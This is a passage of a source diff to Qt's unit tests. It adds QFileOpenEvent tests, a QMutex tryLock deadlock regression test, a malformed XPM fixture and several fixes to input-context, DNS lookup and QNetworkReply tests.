+    QFileOpenEvent urlTest(QUrl(QLatin1String("file:///urlNameTest")));
+    QCOMPARE(urlTest.url().toString(), QLatin1String("file:///urlNameTest"));
+
+#ifdef Q_OS_SYMBIAN
+    // check that RFile construction works
+    RFile rFile = createRFile(_L("testRFile"), _L8("test content"));
+    QFileOpenEvent rFileTest(rFile);
+    QString targetName(QLatin1String("testRFile"));
+    QCOMPARE(rFileTest.file().right(targetName.size()), targetName);
+    QCOMPARE(rFileTest.url().toString().right(targetName.size()), targetName);
+    rFile.Close();
+#endif
+}
+
+QByteArray tst_qfileopenevent::readFileContent(QFileOpenEvent& event)
+{
+    QFile file;
+    event.openFile(file, QFile::ReadOnly);
+    file.seek(0);
+    QByteArray data = file.readAll();
+    return data;
+}
+
+bool tst_qfileopenevent::appendFileContent(QFileOpenEvent& event, const QByteArray& writeContent)
+{
+    QFile file;
+    bool ok = event.openFile(file, QFile::Append | QFile::Unbuffered);
+    if (ok)
+        ok = file.write(writeContent) == writeContent.size();
+    return ok;
+}
+
+void tst_qfileopenevent::checkReadAndWrite(QFileOpenEvent& event, const QByteArray& readContent, const QByteArray& writeContent, bool writeOk)
+{
+    QCOMPARE(readFileContent(event), readContent);
+    QCOMPARE(appendFileContent(event, writeContent), writeOk);
+    QCOMPARE(readFileContent(event), writeOk ? readContent+writeContent : readContent);
+}
+
+void tst_qfileopenevent::fileOpen()
+{
+#ifdef Q_OS_SYMBIAN
+    // create writeable file
+    {
+        RFile rFile = createRFile(_L("testFileOpen"), _L8("test content"));
+        QFileOpenEvent rFileTest(rFile);
+        checkReadAndWrite(rFileTest, QByteArray("test content"), QByteArray("+RFileWrite"), true);
+        rFile.Close();
+    }
+
+    // open read-only RFile
+    {
+        RFile rFile;
+        int err = rFile.Open(fsSession, _L("testFileOpen"), EFileRead);
+        QFileOpenEvent rFileTest(rFile);
+        checkReadAndWrite(rFileTest, QByteArray("test content+RFileWrite"), QByteArray("+RFileRead"), false);
+        rFile.Close();
+    }
+#else
+    createFile(QLatin1String("testFileOpen"), QByteArray("test content+RFileWrite"));
+#endif
+
+    // filename event
+    QUrl fileUrl;   // need to get the URL during the file test, for use in the URL test
+    {
+        QFileOpenEvent nameTest(QLatin1String("testFileOpen"));
+        fileUrl = nameTest.url();
+        checkReadAndWrite(nameTest, QByteArray("test content+RFileWrite"), QByteArray("+nameWrite"), true);
+    }
+
+    // url event
+    {
+        QFileOpenEvent urlTest(fileUrl);
+        checkReadAndWrite(urlTest, QByteArray("test content+RFileWrite+nameWrite"), QByteArray("+urlWrite"), true);
+    }
+
+    QFile::remove(QLatin1String("testFileOpen"));
+}
+
+void tst_qfileopenevent::handleLifetime()
+{
+    QScopedPointer<QFileOpenEvent> event(createFileAndEvent(QLatin1String("testHandleLifetime"), QByteArray("test content")));
+
+    // open a QFile after the original RFile is closed
+    QFile qFile;
+    QCOMPARE(event->openFile(qFile, QFile::Append | QFile::Unbuffered), true);
+    event.reset(0);
+
+    // write to the QFile after the event is closed
+    QString writeContent(QLatin1String("+closed original handles"));
+    QCOMPARE(int(qFile.write(writeContent.toUtf8())), writeContent.size());
+    qFile.close();
+
+    // check the content
+    QFile check("testHandleLifetime");
+    check.open(QFile::ReadOnly);
+    QString content(check.readAll());
+    QCOMPARE(content, QLatin1String("test content+closed original handles"));
+    check.close();
+
+    QFile::remove(QLatin1String("testHandleLifetime"));
+}
+
+void tst_qfileopenevent::multiOpen()
+{
+    QScopedPointer<QFileOpenEvent> event(createFileAndEvent(QLatin1String("testMultiOpen"), QByteArray("itlum")));
+
+    QFile files[5];
+    for (int i=0; i<5; i++) {
+        QCOMPARE(event->openFile(files[i], QFile::ReadOnly), true);
+    }
+    for (int i=0; i<5; i++)
+        files[i].seek(i);
+    QString str;
+    for (int i=4; i>=0; i--) {
+        char c;
+        files[i].getChar(&c);
+        str.append(c);
+        files[i].close();
+    }
+    QCOMPARE(str, QLatin1String("multi"));
+
+    QFile::remove(QLatin1String("testMultiOpen"));
+}
+
+bool tst_qfileopenevent::event(QEvent *event)
+{
+    if (event->type() != QEvent::FileOpen)
+        return QObject::event(event);
+    QFileOpenEvent* fileOpenEvent = static_cast<QFileOpenEvent *>(event);
+    appendFileContent(*fileOpenEvent, "+received");
+    return true;
+}
+
+void tst_qfileopenevent::sendAndReceive()
+{
+    QScopedPointer<QFileOpenEvent> event(createFileAndEvent(QLatin1String("testSendAndReceive"), QByteArray("sending")));
+
+    QCoreApplication::instance()->postEvent(this, event.take());
+    QCoreApplication::instance()->processEvents();
+
+    // QTBUG-17468: On Mac, processEvents doesn't always process posted events
+    QCoreApplication::instance()->sendPostedEvents();
+
+    // check the content
+    QFile check("testSendAndReceive");
+    QCOMPARE(check.open(QFile::ReadOnly), true);
+    QString content(check.readAll());
+    QCOMPARE(content, QLatin1String("sending+received"));
+    check.close();
+
+    QFile::remove(QLatin1String("testSendAndReceive"));
+}
+
+void tst_qfileopenevent::external_data()
+{
+    QTest::addColumn<QString>("filename");
+    QTest::addColumn<QByteArray>("targetContent");
+    QTest::addColumn<bool>("sendHandle");
+
+    QString privateName(QLatin1String("tst_qfileopenevent_external"));
+    QString publicName(QLatin1String("C:\\Data\\tst_qfileopenevent_external"));
+    QByteArray writeSuccess("original+external");
+    QByteArray writeFail("original");
+    QTest::newRow("public name") << publicName << writeSuccess << false;
+    QTest::newRow("data caged name") << privateName << writeFail << false;
+    QTest::newRow("public handle") << publicName << writeSuccess << true;
+    QTest::newRow("data caged handle") << privateName << writeSuccess << true;
+}
+
+void tst_qfileopenevent::external()
+{
+#ifndef Q_OS_SYMBIAN
+    QSKIP("external app file open test only valid in Symbian", SkipAll);
+#else
+
+    QFETCH(QString, filename);
+    QFETCH(QByteArray, targetContent);
+    QFETCH(bool, sendHandle);
+
+    RFile rFile = createRFile(qt_QString2TPtrC(filename), _L8("original"));
+
+    // launch app with the file
+    RApaLsSession apa;
+    QCOMPARE(apa.Connect(), KErrNone);
+    TThreadId threadId;
+    TDataType type(_L8("application/x-tst_qfileopenevent"));
+    if (sendHandle) {
+        QCOMPARE(apa.StartDocument(rFile, type, threadId), KErrNone);
+        rFile.Close();
+    } else {
+        TFileName fullName;
+        rFile.FullName(fullName);
+        rFile.Close();
+        QCOMPARE(apa.StartDocument(fullName, type, threadId), KErrNone);
+    }
+
+    // wait for app exit
+    RThread appThread;
+    if (appThread.Open(threadId) == KErrNone) {
+        TRequestStatus status;
+        appThread.Logon(status);
+        User::WaitForRequest(status);
+    }
+
+    // check the contents
+    QFile check(filename);
+    QCOMPARE(check.open(QFile::ReadOnly), true);
+    QCOMPARE(check.readAll(), targetContent);
+    bool ok = check.remove();
+
+    QFile::remove(filename);
+#endif
+}
+
+QTEST_MAIN(tst_qfileopenevent)
+#include "tst_qfileopenevent.moc"
diff --git a/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp b/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp
index cf0406c..53781c9 100644
--- a/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp
+++ b/tests/auto/qfilesystemmodel/tst_qfilesystemmodel.cpp
@@ -980,8 +980,12 @@ void tst_QFileSystemModel::drives()
     model.setRootPath(path);
     model.fetchMore(QModelIndex());
     QFileInfoList drives = QDir::drives();
+    int driveCount = 0;
+    foreach(const QFileInfo& driveRoot, drives)
+        if (driveRoot.exists())
+            driveCount++;
     QTest::qWait(5000);
-    QTRY_COMPARE(model.rowCount(), drives.count());
+    QTRY_COMPARE(model.rowCount(), driveCount);
 }
 
 void tst_QFileSystemModel::dirsBeforeFiles()
diff --git a/tests/auto/qfuturewatcher/tst_qfuturewatcher.cpp b/tests/auto/qfuturewatcher/tst_qfuturewatcher.cpp
index eb8677a..a4598dc 100644
--- a/tests/auto/qfuturewatcher/tst_qfuturewatcher.cpp
+++ b/tests/auto/qfuturewatcher/tst_qfuturewatcher.cpp
@@ -486,8 +486,6 @@ class ProgressTextTask : public RunFunctionTask<T>
 public:
     void runFunctor()
     {
-        while (this->isProgressUpdateNeeded() == false)
-            QTest::qSleep(1);
         this->setProgressValueAndText(1, QLatin1String("Foo 1"));
 
         while (this->isProgressUpdateNeeded() == false)
@@ -497,6 +495,10 @@ public:
         while (this->isProgressUpdateNeeded() == false)
             QTest::qSleep(1);
         this->setProgressValueAndText(3, QLatin1String("Foo 3"));
+
+        while (this->isProgressUpdateNeeded() == false)
+            QTest::qSleep(1);
+        this->setProgressValueAndText(4, QLatin1String("Foo 4"));
     }
 };
 
@@ -524,14 +526,16 @@ void tst_QFutureWatcher::progressText()
         QTestEventLoop::instance().enterLoop(5);
         QVERIFY(!QTestEventLoop::instance().timeout());
 
-        QCOMPARE(f.progressText(), QLatin1String("Foo 3"));
-        QCOMPARE(f.progressValue(), 3);
+        QCOMPARE(f.progressText(), QLatin1String("Foo 4"));
+        QCOMPARE(f.progressValue(), 4);
         QVERIFY(progressValues.contains(1));
         QVERIFY(progressValues.contains(2));
         QVERIFY(progressValues.contains(3));
+        QVERIFY(progressValues.contains(4));
         QVERIFY(progressTexts.contains(QLatin1String("Foo 1")));
         QVERIFY(progressTexts.contains(QLatin1String("Foo 2")));
         QVERIFY(progressTexts.contains(QLatin1String("Foo 3")));
+        QVERIFY(progressTexts.contains(QLatin1String("Foo 4")));
     }
 }
 
diff --git a/tests/auto/qglthreads/tst_qglthreads.cpp b/tests/auto/qglthreads/tst_qglthreads.cpp
index 434fd9d..45c8cbc 100644
--- a/tests/auto/qglthreads/tst_qglthreads.cpp
+++ b/tests/auto/qglthreads/tst_qglthreads.cpp
@@ -210,7 +210,7 @@ public:
             // That's why we create only small textures.
             width = 50;
             height = 20;
-#else
+#endif
             QImage image(width, height, QImage::Format_RGB32);
             QPainter p(&image);
             p.fillRect(image.rect(), QColor(rand() % 256, rand() % 256, rand() % 256));
diff --git a/tests/auto/qgraphicsscene/tst_qgraphicsscene.cpp b/tests/auto/qgraphicsscene/tst_qgraphicsscene.cpp
index b221cd9..d446ca7 100644
--- a/tests/auto/qgraphicsscene/tst_qgraphicsscene.cpp
+++ b/tests/auto/qgraphicsscene/tst_qgraphicsscene.cpp
@@ -3838,6 +3838,23 @@ public:
     mutable int queryCalls;
 };
 
+class TestInputContext : public QInputContext
+{
+public:
+    TestInputContext() {}
+
+    QString identifierName() { return QString(); }
+    QString language() { return QString(); }
+
+    void reset() {
+        ++resetCalls;
+        sendEvent(QInputMethodEvent()); }
+
+    bool isComposing() const { return false; }
+
+    int resetCalls;
+};
+
 void tst_QGraphicsScene::inputMethod()
 {
     QFETCH(int, flags);
@@ -3847,14 +3864,22 @@ void tst_QGraphicsScene::inputMethod()
     item->setFlags((QGraphicsItem::GraphicsItemFlags)flags);
 
     QGraphicsScene scene;
-    QEvent activate(QEvent::WindowActivate);
-    QApplication::sendEvent(&scene, &activate);
+    QGraphicsView view(&scene);
+    TestInputContext inputContext;
+    view.setInputContext(&inputContext);
+    view.show();
+    QApplication::setActiveWindow(&view);
+    view.setFocus();
+    QTest::qWaitForWindowShown(&view);
+    QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
 
+    inputContext.resetCalls = 0;
     scene.addItem(item);
     QInputMethodEvent event;
 
     scene.setFocusItem(item);
     QCOMPARE(!!(item->flags() & QGraphicsItem::ItemIsFocusable), scene.focusItem() == item);
+    QCOMPARE(inputContext.resetCalls, 0);
 
     item->eventCalls = 0;
     qApp->sendEvent(&scene, &event);
@@ -3865,6 +3890,9 @@ void tst_QGraphicsScene::inputMethod()
     QCOMPARE(item->queryCalls, callFocusItem ? 1 : 0);
 
     scene.setFocusItem(0);
+    // the input context is reset twice, once because an item has lost focus and again because
+    // the Qt::WA_InputMethodEnabled flag is cleared because no item has focus.
+    QCOMPARE(inputContext.resetCalls, callFocusItem ? 2 : 0);
     QCOMPARE(item->eventCalls, callFocusItem ? 2 : 0); // verify correct delivery of "reset" event
     QCOMPARE(item->queryCalls, callFocusItem ? 1 : 0); // verify that value is unaffected
 
diff --git a/tests/auto/qgraphicsview/tst_qgraphicsview.cpp b/tests/auto/qgraphicsview/tst_qgraphicsview.cpp
index f8fc5d0..ca6b4d2 100644
--- a/tests/auto/qgraphicsview/tst_qgraphicsview.cpp
+++ b/tests/auto/qgraphicsview/tst_qgraphicsview.cpp
@@ -4146,11 +4146,14 @@ void tst_QGraphicsView::inputContextReset()
 
     inputContext.resets = 0;
     scene.setFocusItem(0);
-    QCOMPARE(inputContext.resets, 1);
+    // the input context is reset twice, once because an item has lost focus and again because
+    // the Qt::WA_InputMethodEnabled flag is cleared because no item has focus.
+    QCOMPARE(inputContext.resets, 2);
 
     // introduce another item that is focusable but does not accept input methods
     QGraphicsItem *item2 = new QGraphicsRectItem;
-    item1->setFlags(QGraphicsItem::ItemIsFocusable);
+    item2->setFlags(QGraphicsItem::ItemIsFocusable);
+    scene.addItem(item2);
 
     inputContext.resets = 0;
     scene.setFocusItem(item2);
@@ -4159,6 +4162,11 @@ void tst_QGraphicsView::inputContextReset()
     inputContext.resets = 0;
     scene.setFocusItem(item1);
     QCOMPARE(inputContext.resets, 0);
+
+    // test changing between between items that accept input methods.
+    item2->setFlags(QGraphicsItem::ItemIsFocusable | QGraphicsItem::ItemAcceptsInputMethod);
+    scene.setFocusItem(item2);
+    QCOMPARE(inputContext.resets, 1);
 }
 
 void tst_QGraphicsView::indirectPainting()
diff --git a/tests/auto/qhostinfo/tst_qhostinfo.cpp b/tests/auto/qhostinfo/tst_qhostinfo.cpp
index ee2fe0d..8be8dcb 100644
--- a/tests/auto/qhostinfo/tst_qhostinfo.cpp
+++ b/tests/auto/qhostinfo/tst_qhostinfo.cpp
@@ -291,6 +291,7 @@ void tst_QHostInfo::lookupIPv6_data()
     QTest::addColumn<int>("err");
 
     QTest::newRow("ip6") << "www.ipv6-net.org" << "62.93.217.177 2001:618:1401:0:0:0:0:4" << int(QHostInfo::NoError);
+    QTest::newRow("ip6") << "ipv6.google.com" << "2A00:1450:8007:0:0:0:0:63" << int(QHostInfo::NoError);
 
     // avoid using real IPv6 addresses here because this will do a DNS query
     // real addresses are between 2000:: and 3fff:ffff:ffff:ffff:ffff:ffff:ffff
@@ -337,7 +338,7 @@ void tst_QHostInfo::reverseLookup_data()
 
     // ### Use internal DNS instead. Discussed with Andreas.
     //QTest::newRow("classical.hexago.com") << QString("2001:5c0:0:2::24") << QStringList(QString("classical.hexago.com")) << 0;
-    QTest::newRow("origin.cisco.com") << QString("12.159.148.94") << QStringList(QString("origin.cisco.com")) << 0;
+    QTest::newRow("gitorious.org") << QString("87.238.52.168") << QStringList(QString("gitorious.org")) << 0;
     QTest::newRow("bogus-name") << QString("1::2::3::4") << QStringList() << 1;
 }
 
diff --git a/tests/auto/qimagereader/images/corrupt-pixel-count.xpm b/tests/auto/qimagereader/images/corrupt-pixel-count.xpm
new file mode 100644
index 0000000..3a736ff
--- /dev/null
+++ b/tests/auto/qimagereader/images/corrupt-pixel-count.xpm
@@ -0,0 +1,11 @@
+/* XPM */
+static const char *marble_xpm[] = {
+/* width height num_colors chars_per_pixel */
+"2 2 2 -2",
+/* colors */
+"a c #adadad",
+"b c #dedede",
+/* pixels */
+"ab",
+"ba"
+};
diff --git a/tests/auto/qimagereader/tst_qimagereader.cpp b/tests/auto/qimagereader/tst_qimagereader.cpp
index 7c2aee8..f02fd6a 100644
--- a/tests/auto/qimagereader/tst_qimagereader.cpp
+++ b/tests/auto/qimagereader/tst_qimagereader.cpp
@@ -1410,6 +1410,9 @@ void tst_QImageReader::readFromResources_data()
     QTest::newRow("corrupt-pixels.xpm") << QString("corrupt-pixels.xpm")
                                                << QByteArray("xpm") << QSize(0, 0)
                                                << QString("QImage: XPM pixels missing on image line 3");
+    QTest::newRow("corrupt-pixel-count.xpm") << QString("corrupt-pixel-count.xpm")
+                                             << QByteArray("xpm") << QSize(0, 0)
+                                             << QString("");
     QTest::newRow("marble.xpm") << QString("marble.xpm")
                                        << QByteArray("xpm") << QSize(240, 240)
                                        << QString("");
diff --git a/tests/auto/qinputcontext/tst_qinputcontext.cpp b/tests/auto/qinputcontext/tst_qinputcontext.cpp
index 800f9de..6a047f2 100644
--- a/tests/auto/qinputcontext/tst_qinputcontext.cpp
+++ b/tests/auto/qinputcontext/tst_qinputcontext.cpp
@@ -88,6 +88,7 @@ private slots:
     void closeSoftwareInputPanel();
     void selections();
     void focusProxy();
+    void contextInheritance();
     void symbianTestCoeFepInputContext_data();
     void symbianTestCoeFepInputContext();
     void symbianTestCoeFepAutoCommit_data();
@@ -473,6 +474,37 @@ void tst_QInputContext::focusProxy()
     QCOMPARE(gic->focusWidget(), &proxy);
 }
 
+void tst_QInputContext::contextInheritance()
+{
+    QWidget parent;
+    QWidget child(&parent);
+
+    parent.setAttribute(Qt::WA_InputMethodEnabled, true);
+    child.setAttribute(Qt::WA_InputMethodEnabled, true);
+
+    QCOMPARE(parent.inputContext(), qApp->inputContext());
+    QCOMPARE(child.inputContext(), qApp->inputContext());
+
+    QInputContext *qic = new QFilterInputContext;
+    parent.setInputContext(qic);
+    QCOMPARE(parent.inputContext(), qic);
+    QCOMPARE(child.inputContext(), qic);
+
+    parent.setAttribute(Qt::WA_InputMethodEnabled, false);
+    QVERIFY(!parent.inputContext());
+    QCOMPARE(child.inputContext(), qic);
+    parent.setAttribute(Qt::WA_InputMethodEnabled, true);
+
+    parent.setInputContext(0);
+    QCOMPARE(parent.inputContext(), qApp->inputContext());
+    QCOMPARE(child.inputContext(), qApp->inputContext());
+
+    qic = new QFilterInputContext;
+    qApp->setInputContext(qic);
+    QCOMPARE(parent.inputContext(), qic);
+    QCOMPARE(child.inputContext(), qic);
+}
+
 #ifdef QT_WEBKIT_LIB
 class AutoWebView : public QWebView
 {
diff --git a/tests/auto/qmutex/tst_qmutex.cpp b/tests/auto/qmutex/tst_qmutex.cpp
index 3c4c767..ea983cb 100644
--- a/tests/auto/qmutex/tst_qmutex.cpp
+++ b/tests/auto/qmutex/tst_qmutex.cpp
@@ -67,6 +67,7 @@ private slots:
     void lock_unlock_locked_tryLock();
     void stressTest();
     void tryLockRace();
+    void qtbug16115_trylock();
 };
 
 static const int iterations = 100;
@@ -464,5 +465,42 @@ void tst_QMutex::tryLockRace()
     TryLockRaceThread::mutex.unlock();
 }
 
+static volatile int qtbug16115_trylock_counter;
+
+void tst_QMutex::qtbug16115_trylock()
+{
+    //Used to deadlock on unix
+    struct TrylockThread : QThread {
+        TrylockThread(QMutex &mut) : mut(mut) {}
+        QMutex &mut;
+        void run() {
+            for (int i = 0; i < 1000000; ++i) {
+                if (mut.tryLock(0)) {
+                    Q_ASSERT((++qtbug16115_trylock_counter) == 1);
+                    Q_ASSERT((--qtbug16115_trylock_counter) == 0);
+                    mut.unlock();
+                }
+            }
+        }
+    };
+    QMutex mut;
+    TrylockThread t1(mut);
+    TrylockThread t2(mut);
+    TrylockThread t3(mut);
+    t1.start();
+    t2.start();
+    t3.start();
+
+    for (int i = 0; i < 1000000; ++i) {
+        mut.lock();
+        Q_ASSERT((++qtbug16115_trylock_counter) == 1);
+        Q_ASSERT((--qtbug16115_trylock_counter) == 0);
+        mut.unlock();
+    }
+    t1.wait();
+    t2.wait();
+    t3.wait();
+}
+
 QTEST_MAIN(tst_QMutex)
 #include "tst_qmutex.moc"
diff --git a/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory.cpp b/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory.cpp
index 10fa7c6..41da16e 100644
--- a/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory.cpp
+++ b/tests/auto/qnetworkproxyfactory/tst_qnetworkproxyfactory.cpp
@@ -60,8 +60,8 @@ QString tst_QNetworkProxyFactory::formatProxyName(const QNetworkProxy & proxy) c
     QString proxyName;
     if (!proxy.user().isNull())
         proxyName.append("%1:%2@").arg(proxy.user(), proxy.password());
-    proxyName.append("%1:%2").arg(proxy.hostName(), proxy.port());
-    proxyName.append(" (type=%1, capabilities=%2)").arg(proxy.type(), proxy.capabilities());
+    proxyName.append(QString("%1:%2").arg(proxy.hostName()).arg(proxy.port()));
+    proxyName.append(QString(" (type=%1, capabilities=%2)").arg(proxy.type()).arg(proxy.capabilities()));
 
     return proxyName;
 }
diff --git a/tests/auto/qnetworkreply/tst_qnetworkreply.cpp b/tests/auto/qnetworkreply/tst_qnetworkreply.cpp
index 1d2a69f..49ae768 100644
--- a/tests/auto/qnetworkreply/tst_qnetworkreply.cpp
+++ b/tests/auto/qnetworkreply/tst_qnetworkreply.cpp
@@ -84,8 +84,6 @@ Q_DECLARE_METATYPE(QList<QNetworkProxy>)
 Q_DECLARE_METATYPE(QNetworkReply::NetworkError)
 Q_DECLARE_METATYPE(QBuffer*)
 
-const int SynchronousRequestAttribute = QNetworkRequest::DownloadBufferAttribute + 1;
-
 class QNetworkReplyPtr: public QSharedPointer<QNetworkReply>
 {
 public:
@@ -327,6 +325,7 @@ private Q_SLOTS:
 
     void ioGetFromHttpBrokenChunkedEncoding();
     void qtbug12908compressedHttpReply();
+    void compressedHttpReplyBrokenGzip();
 
     void getFromUnreachableIp();
 
@@ -340,7 +339,11 @@ private Q_SLOTS:
 
     void synchronousRequest_data();
     void synchronousRequest();
+#ifndef QT_NO_OPENSSL
     void synchronousRequestSslFailure();
+#endif
+
+    void httpAbort();
 
     // NOTE: This test must be last!
     void parentingRepliesToTheApp();
@@ -455,6 +458,7 @@ private:
     {
         //qDebug() << "connectSocketSignals" << client;
         connect(client, SIGNAL(readyRead()), this, SLOT(readyReadSlot()));
+        connect(client, SIGNAL(bytesWritten(qint64)), this, SLOT(bytesWrittenSlot()));
         connect(client, SIGNAL(error(QAbstractSocket::SocketError)),
                 this, SLOT(slotError(QAbstractSocket::SocketError)));
     }
@@ -482,15 +486,18 @@ public slots:
             if (multiple)
                 receivedData.remove(0, doubleEndlPos+4);
 
-            client->write(dataToTransmit);
-            while (client->bytesToWrite() > 0)
-                client->waitForBytesWritten();
+            // we need to emulate the bytesWrittenSlot call if the data is empty.
+            if (dataToTransmit.size() == 0)
+                QMetaObject::invokeMethod(this, "bytesWrittenSlot", Qt::QueuedConnection);
+            else
+                client->write(dataToTransmit);
+        }
+    }
 
-            if (doClose) {
-                client->disconnectFromHost();
-                disconnect(client, 0, this, 0);
-                client = 0;
-            }
+    void bytesWrittenSlot() {
+        if (doClose && client->bytesToWrite() == 0) {
+            client->disconnectFromHost();
+            disconnect(client, 0, this, 0);
         }
     }
 };
@@ -959,7 +966,10 @@ tst_QNetworkReply::tst_QNetworkReply()
     qRegisterMetaType<QNetworkReply *>(); // for QSignalSpy
     qRegisterMetaType<QAuthenticator *>();
     qRegisterMetaType<QNetworkProxy>();
+#ifndef QT_NO_OPENSSL
     qRegisterMetaType<QList<QSslError> >();
+#endif
+    qRegisterMetaType<QNetworkReply::NetworkError>();
 
     Q_SET_DEFAULT_IAP
 
@@ -1055,7 +1065,7 @@ QString tst_QNetworkReply::runSimpleRequest(QNetworkAccessManager::Operation op,
     returnCode = Timeout;
     int code = Success;
 
-    if (request.attribute(static_cast<QNetworkRequest::Attribute>(SynchronousRequestAttribute)).toBool()) {
+    if (request.attribute(QNetworkRequest::SynchronousRequestAttribute).toBool()) {
         if (reply->isFinished())
             code = reply->error() != QNetworkReply::NoError ? Failure : Success;
         else
@@ -1492,6 +1502,12 @@ void tst_QNetworkReply::getErrors()
 {
     QFETCH(QString, url);
     QNetworkRequest request(url);
+
+#if defined(Q_OS_WIN) || defined (Q_OS_SYMBIAN)
+    if (qstrcmp(QTest::currentDataTag(), "empty-scheme-host") == 0)
+        QTest::ignoreMessage(QtWarningMsg, "QNetworkAccessFileBackendFactory: URL has no schema set, use file:// for files");
+#endif
+
     QNetworkReplyPtr reply = manager.get(request);
     reply->setParent(this);     // we have expect-fails
 
@@ -1506,6 +1522,9 @@ void tst_QNetworkReply::getErrors()
     //qDebug() << reply->errorString();
 
     QFETCH(int, error);
+#if defined(Q_OS_WIN) || defined (Q_OS_SYMBIAN)
+    QEXPECT_FAIL("empty-scheme-host", "this is expected to fail on Windows and Symbian, QTBUG-17731", Abort);
+#endif
     QEXPECT_FAIL("ftp-is-dir", "QFtp cannot provide enough detail", Abort);
     // the line below is not necessary
     QEXPECT_FAIL("ftp-dir-not-readable", "QFtp cannot provide enough detail", Abort);
@@ -1678,7 +1697,7 @@ void tst_QNetworkReply::putToHttpSynchronous()
     QFETCH(QByteArray, data);
 
     request.setAttribute(
-            static_cast<QNetworkRequest::Attribute>(SynchronousRequestAttribute),
+            QNetworkRequest::SynchronousRequestAttribute,
             true);
 
     RUN_REQUEST(runSimpleRequest(QNetworkAccessManager::PutOperation, request, reply, data));
@@ -1738,7 +1757,7 @@ void tst_QNetworkReply::postToHttpSynchronous()
     QNetworkRequest request(url);
 
     request.setAttribute(
-            static_cast<QNetworkRequest::Attribute>(SynchronousRequestAttribute),
+            QNetworkRequest::SynchronousRequestAttribute,
             true);
 
     QNetworkReplyPtr reply;
@@ -2253,7 +2272,7 @@ void tst_QNetworkReply::ioGetFromHttpWithAuth()
     // now check with synchronous calls:
     {
         request.setAttribute(
-                static_cast<QNetworkRequest::Attribute>(SynchronousRequestAttribute),
+                QNetworkRequest::SynchronousRequestAttribute,
                 true);
 
         QSignalSpy authspy(&manager, SIGNAL(authenticationRequired(QNetworkReply*,QAuthenticator*)));
@@ -2277,7 +2296,7 @@ void tst_QNetworkReply::ioGetFromHttpWithAuthSynchronous()
 
     QNetworkRequest request(QUrl("http://" + QtNetworkSettings::serverName() + "/qtest/rfcs-auth/rfc3252.txt"));
     request.setAttribute(
-            static_cast<QNetworkRequest::Attribute>(SynchronousRequestAttribute),
+            QNetworkRequest::SynchronousRequestAttribute,
             true);
 
     QSignalSpy authspy(&manager, SIGNAL(authenticationRequired(QNetworkReply*,QAuthenticator*)));
@@ -2362,7 +2381,7 @@ void tst_QNetworkReply::ioGetFromHttpWithProxyAuth()
     reference.seek(0);
     {
         request.setAttribute(
-                static_cast<QNetworkRequest::Attribute>(SynchronousRequestAttribute),
+                QNetworkRequest::SynchronousRequestAttribute,
                 true);
 
         QSignalSpy authspy(&manager, SIGNAL(proxyAuthenticationRequired(QNetworkProxy,QAuthenticator*)));
@@ -2388,7 +2407,7 @@ void tst_QNetworkReply::ioGetFromHttpWithProxyAuthSynchronous()
     QNetworkRequest request(QUrl("http://" + QtNetworkSettings::serverName() + "/qtest/rfc3252.txt"));
     manager.setProxy(proxy);
     request.setAttribute(
-            static_cast<QNetworkRequest::Attribute>(SynchronousRequestAttribute),
+            QNetworkRequest::SynchronousRequestAttribute,
             true);
 
     QSignalSpy authspy(&manager, SIGNAL(proxyAuthenticationRequired(QNetworkProxy,QAuthenticator*)));
@@ -2587,6 +2606,9 @@ void tst_QNetworkReply::ioGetFromHttpBrokenServer_data()
     QTest::newRow("justHalfStatus+disconnect") << QByteArray("HTTP/1.1") << true;
     QTest::newRow("justStatus+disconnect") << QByteArray("HTTP/1.1 200 OK\r\n") << true;
     QTest::newRow("justStatusAndHalfHeaders+disconnect") << QByteArray("HTTP/1.1 200 OK\r\nContent-L") << true;
+
+    QTest::newRow("halfContent+disconnect") << QByteArray("HTTP/1.1 200 OK\r\nContent-Length: 4\r\n\r\nAB") << true;
+
 }
 
 void tst_QNetworkReply::ioGetFromHttpBrokenServer()
@@ -2598,29 +2620,35 @@ void tst_QNetworkReply::ioGetFromHttpBrokenServer()
 
     QNetworkRequest request(QUrl("http://localhost:" + QString::number(server.serverPort())));
     QNetworkReplyPtr reply = manager.get(request);
+    QSignalSpy spy(reply, SIGNAL(error(QNetworkReply::NetworkError)));
+
 
     connect(reply, SIGNAL(finished()), &QTestEventLoop::instance(), SLOT(exitLoop()));
     QTestEventLoop::instance().enterLoop(10);
     QVERIFY(!QTestEventLoop::instance().timeout());
 
     QCOMPARE(reply->url(), request.url());
+    QCOMPARE(spy.count(), 1);
     QVERIFY(reply->error() != QNetworkReply::NoError);
 }
 
 void tst_QNetworkReply::ioGetFromHttpStatus100_data()
 {
     QTest::addColumn<QByteArray>("dataToSend");
-    QTest::newRow("normal") << QByteArray("HTTP/1.1 100 Continue\r\n\r\nHTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n");
-    QTest::newRow("minimal") << QByteArray("HTTP/1.1 100 Continue\n\nHTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n");
-    QTest::newRow("minimal2") << QByteArray("HTTP/1.1 100 Continue\n\nHTTP/1.0 200 OK\r\n\r\n");
-    QTest::newRow("minimal3") << QByteArray("HTTP/1.1 100 Continue\n\nHTTP/1.0 200 OK\n\n");
-    QTest::newRow("with_headers") << QByteArray("HTTP/1.1 100 Continue\r\nBla: x\r\n\r\nHTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n");
-    QTest::newRow("with_headers2") << QByteArray("HTTP/1.1 100 Continue\nBla: x\n\nHTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n");
+    QTest::addColumn<int>("statusCode");
+    QTest::newRow("normal") << QByteArray("HTTP/1.1 100 Continue\r\n\r\nHTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n") << 200;
+    QTest::newRow("minimal") << QByteArray("HTTP/1.1 100 Continue\n\nHTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n") << 200;
+    QTest::newRow("minimal2") << QByteArray("HTTP/1.1 100 Continue\n\nHTTP/1.0 200 OK\r\n\r\n") << 200;
+    QTest::newRow("minimal3") << QByteArray("HTTP/1.1 100 Continue\n\nHTTP/1.0 200 OK\n\n") << 200;
+    QTest::newRow("minimal+404") << QByteArray("HTTP/1.1 100 Continue\n\nHTTP/1.0 204 No Content\r\n\r\n") << 204;
